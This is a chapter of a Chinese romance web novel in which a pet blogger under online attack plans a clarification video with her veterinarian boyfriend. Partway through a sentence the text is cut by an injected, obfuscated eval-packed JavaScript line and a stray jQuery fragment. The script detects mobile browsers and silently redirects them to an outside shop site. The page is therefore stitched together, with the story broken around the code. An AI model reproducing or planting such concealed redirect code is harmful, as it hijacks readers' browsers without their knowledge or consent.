这场无终尽的感情终于还是像她所想的那样,把她压得很重。
如果世界颠倒,我要把重量都压在你身上,抵消我们的毒舌蜜语。
一个轻小的礼物被他塞进来,一点一滴占据她的空间,摁一下就要响一遍,响一遍就要听一次,听一次就要想他一次……
这次是宠物交流按键,那上次呢?
温语嘉记性不好,重要的事情都要一遍又一遍地记下来,记不住的就在手机备忘录里面写下来。
可像这种让人细枝末节都颤酥的礼物,她却记得无比牢固。什么螺旋的、草莓的、秘密的,都让她对许平泽来者不拒。
也就养成了她内纵外软的秉性,一别多年,随着时间好不容易积攒起来的自强,又在男朋友的支持下慢慢溶解。
像是要回到之前那段无忧无虑的生活……
“不好不好!一点都不好!”
不像吃过的饭和上过的床,总会有饱的时候。许平泽总是喜欢在她身上开发兴趣,千方百计拉着她要体验。
连多喝了两口水都会被直勾勾的小狗眼看到,哈哈地凑到她面前想要她喂他。
“干什么啦,馒头都不会让我这样喂它。”温语嘉被强烈的目光看得不好意思,拿他和狗狗比,“是想喝水吗?”
如果是想喝水的话,你可以喝我手上这杯水。我们是接过吻的关系了,可以一起喝同一瓶水的。
温语嘉很有眼力见儿的把水递过去,抹抹自己嘴角的水,企图把自己脸上的红霞消下去。
对面迟迟不接,随后是凑到耳朵边的哼哼声,传到她耳朵里,摇她的底线:
“宝贝,我想喝你嘴巴里的水,亲我好不好呀?”
他夸她像一块香香软软的小蛋糕,想吃。
*
时间回到现在。
温语嘉的身体先于意识做出反应,激起一层战栗,手一抖东西掉了下来。。
本以为她已经对这个词脱敏了,再听到也不会有多大的触动。
一切都在往好的地方发展,被压制在房间里不让出门的时光也能被吻和情动给化解,不再升起逃避的想法。
他把她拉到自己身边,一遍又一遍插手她的生活,索要她全部的人际关系。。
临了逃开他的时候,温语嘉发了疯似的把手机里的联系人删了个遍,只求不被人找到。
他说,他恨她。
恨就恨吧,省得爱来爱去总没劲。
弓着背的女孩转手就把录音按键放进床头柜,用电子锁锁起来,等什么时候原谅了他再拿出来听。
温语嘉喉咙咽了一口口水,又馋又气。
把自己埋进冰箱,翻找出昨天没吃完的蛋糕甜品,还是在超市里买的呢。
她打算化悲愤为食欲,今天就把自己吃胖两斤,明天就把那张讨人的嘴坐扁。
“嗷呜”一口。
她一口咽下去一叉子蛋糕,等到蛋糕的甜和巧克力的苦都混在一起,最开始想象的甜蜜并没有如期而至。口腔上颚的软肉被劣质的翻糖颗粒挤压——蛋糕放太久,已经死了。
吃了两口,吃不下去了。
胡乱吃净了上面的水果,温语嘉拿起手机报复似的又想定一块,看了看距离,配送预计30分钟送达。
“离许平泽的医院还挺近的。”
小程序上显示这家蛋糕店开在宠物医院附近的商圈,自然而然的又想到了他,心里升起一股疑问,“不知道他想不想吃?”
所谓两个人的感情仗最难打,一不小心就两败俱伤,还落得个多情出轨的坏名声。
她想稳稳地训住他,让他甘为下风。
而不是整日里疑神疑鬼替她做决定,扒开她的伤痛往里面灌镇定剂,装作一副岁月静好的样子还要凑过来。
程年和。也不是好人。
许平泽又不知道使了什么关系,把当年藏得那么深的人也能找出来,告诉她:“我会找回你的清白,相信我。”
世界上最不能相信的就是许平泽这只狗!
心里指不定憋着什么坏,想让她跳进去,然后又故作好心地在上位睥睨他,轻飘飘来一句:“求我帮你啊?”
什么坏人呐?许平泽就是最坏的狗狗!
她要给他买巧克力蛋糕!
把他糊得黑黑的,然后把她对比得白白的。
温语嘉想得开心了,大方地拿起手机,打开微信找他。
【温语嘉】:你那边结束了吗?
许平泽刚好目送程年和上车离开,正想返回咖啡厅拿电脑,一低头就看到了她的消息。
嘴角咧开,也不着急收拾东西了,就地坐下来回消息:“结束了,怎么了?”
【我不小心买了一个四寸的蛋糕,一个人吃不完……】
叮咚一声,门铃响起。
馒头狗狗比她还快,想跳起来扒拉门。
吃一堑长一智。要不是重逢那几天它成精了似的开了几次门,温语嘉也不会把自己主动送到许平泽身边。
她第二天就下单了宠物栅栏,把门给拦起来,防止它又偷跑出去找不到。
门一开,许平泽一身暑气地进来了。左手拎着一袋子零食,右手拎着两杯奶茶,站定之时还能听见冰块旋转的碰擦声。
“打扰了,我进来了。”
许平泽自觉的拿起鞋柜上的一次性鞋套,低垂着眼。等温语嘉快走过来的时候就开始往里套,想让她看看自己的鞋配上这个蓝色的一次性鞋套有多么的丑。
“来就来呗,还买啥东西。”小可儿迎上来,没注意到他的小九九,只顾着他左手右手的袋子,寒暄着快速接过去。
她手里的袋子还没拎过10秒,就早已背过身走到沙发上,把袋子里的零食和奶茶都拿出来,蹲在茶几旁转过头看他,想问他怎么脱个鞋这么慢。
仿佛这才注意到他,让他当自己家:“不用穿鞋套,鞋柜里面有一双男士拖鞋,你找找看。”
许平泽不语,只一味地听话。
肩上背着单肩皮包,低了头又抬头,眼神忽明忽暗的。瞅了半天自己走过去,坐在她旁边,看她掏来掏去的样子活像个仓鼠。
他似作无意提起那双男士拖鞋,柔声问:“家里有男性客人来过吗?”
还是说,是特意为我准备的呢?
正好是他的尺码,42码的蓝色拖鞋,他穿正正好。还有只小狗的卡通橡胶图案,印在上面合适的不得了。
“看来我们真是天生一对啊!”
许平泽此刻心中畅快不已,愈发克制起来,伸手去帮她插奶茶吸管。
他需要更体贴一些,帮她准备好。
温语嘉摆好了,起身去冰箱拿蛋糕。
“不是呀?听说把男士拖鞋摆在门外,坏人就不会盯上独居女孩子了。”
她一脸理所当然,眉眼弯弯地逗他:“刚好上次去逛超市时拖鞋打折,15块钱一双。我特意挑了双款式比较老气的,不过你穿上去倒还挺合适的”。
许平泽把脸转过去,装作没听到后半句话,只当做是独居女性的安全防范,补充一句:“我和狗狗都会守护好你的。”
可以不用那么小心地活在阴影里。他想说的是这句话,可是话到嘴边就被温语嘉先拦住了。
“尝尝看!巧克力味道的蛋糕,店家刚做出来不久还新鲜着呢。”
她把叉子塞到他手里,先闭了他的嘴。
瞧瞧,这是想堵他的嘴呢。把人一句话叫过来,先给点好的,再打一棍子下来。
许平泽心知肚明,陪着她胡闹,给她递戏台子:“不知道温小姐考虑的怎么样了?”
“有律师帮忙,肯定比我自己说破嘴皮要好。”她点点头,分外殷勤地切好一块蛋糕托在纸盘上。
流心切开的瞬间,法式咸酥的气味扑过来。
话音刚落,一旁的狗狗就凑过来。什么能吃的不能吃的都要凑过来嗅一嗅,然后才能心满意足地被骂走。
许医生嘬嘬两下,把挨了骂的贪嘴小狗招过来,语气故作震惊:“我还以为你找我,是我做了什么坏事被你发现了呢?”
空气里倏地安静下来,再一秒,蛋糕顶上的奶油滑落。
温语嘉重复地把蛋糕往嘴里送,装作无意地问:“那你做过什么坏事?”
小猫抬起眼睛,嘴边蹭着奶油,一口咸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622720|205271||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
香地问他。
许平泽的眼睛微微转了一下,挪不开视线。手却早已向她伸出,盖在她的头顶,语气平淡:“我没有做过坏事,但我这里有一份好事。“
说着,从包里拿出草拟的维权书。
暑气很重,天气又湿。一沓A4纸的边缘已经被捏出了汗渍,内容也有多次删减。
他看向她,端起她的蛋糕,把顶上的草莓叉住,自觉地递到嘴边喂她、
“谢谢......"
除了谢谢,她也再说不出其他的什么词了。
只不过这一次许平泽发现了端倪,看她皱着眉头就知道。
如果不是近期的舆论攻击,温语嘉本来该很开心地一个人吃完整个蛋糕。而不是借着请他尝蛋糕的借口把他叫过来,犹犹豫豫像个海绵一样等他来挤。
“除了谢谢呢,没点别的想法了?”
他小心地抓住滑溜溜的心思,顺着往上摸到她的腰,把她牵到身上摸着小手。
她笑着说痒想退出去,许平泽不依。把堆在肩膀处的头发都拨开,只让自己枕上去。
“是有个事情想问问你的意见。”怀里的女孩咯吱咯吱笑,又反手胡乱摸了一把他的脸,把他直挺的鼻子捏住,恶作剧地坐过来朝向他。
“你说,我都同意。”
埋在颈间的人抽空说了句话,声音闷闷的。
“我们要不然出一个系列视频吧?把这件事情的来龙去脉都讲清楚。”
温语嘉摸摸他的头,稍微侧身就看到了他的黑眼圈,精神也没有上次见到的那么好了。
别人嘴里的形象就像是白裙子上的泥点,又脏又臭失去光辉。
尽管有意避免刷到自己的视频,但该死的大数据还是给她推了两条营销号。内容大差不差,都是把她当街被宠物店店长抓住,然后被扒出是宠物博主。
机械又生硬的AI女音故作震惊,把她的脸单独截帧放大,把她惊慌失措的模样放在网上,呼应标题的“宠物噱头”。
也根本没人管她的肖像权和名誉权,律师函当传单一样发了个遍也不起效。
算了……毁灭吧。
一时间,随着舆论的发酵,温语嘉的账号后台全是私信来骂她的。
先是一波祖辈问候,大家把她当做会摆拍的花瓶。如今花瓶都是空的,一人一句划烂她的瓷釉,想让她粉身碎骨。
再接下来,就是陈年旧事被提及。
都说互联网的乐子笑笑就过去了,可留下了记录的乐子只会被反复拉出来嘲笑。
“就是她啊,前两年那个菟丝花。”
“没钱赚就转赛道?温语嘉你好聪明哦。”
“这狗可真可怜,知道妈妈为了它付出了什么吗?前前后后都忙得不得了吧?”
评论一滑滑不到头,她的眼泪一流停不下来。非要人哄着,把眼里的泪擦干了撑跪起来发力。
许平泽靠在沙发上,眼睛里都是她,凑过去吻泪亲贴。
意料之中的,温语嘉又爱哭又爱做。
还喜欢一边难过一边做不喜欢的事情。
许平泽惯来是无二话,点头应她:“需要我做什么?”
一句话,他可以为她做很多事情。
出具宠物检测证明、掏钱请律师、提供优质的陪伴和服务等等。
“嗯?告诉我,你需要我做什么?”
他把眼睛闭上,感受她清洁的味道,倦怠般的舒服诱使他循循善诱。
温语嘉想了想,物尽其用:“你和我一起拍个视频吧?就用那个宠物账号做个专业的澄清。”
专业上她有职业宠物医生当帮手,工作上她自己剪辑调色一条龙。
扭转舆论,不能只靠冷冰冰的律师函,更重要的是以理服人以情动人。
她觉得很好。
心里暗想:“可以想让他上门来吃蛋糕,然后我再让他打点工付蛋糕钱。”
想着也就这么做了,她把坏的蛋糕打包下去丢掉,又下单了一个她爱吃的巧克力味的蛋糕。
手机上没闲着,在线滴滴。
【阿许,我不小心买了一个四寸的蛋糕,一个人吃不完……】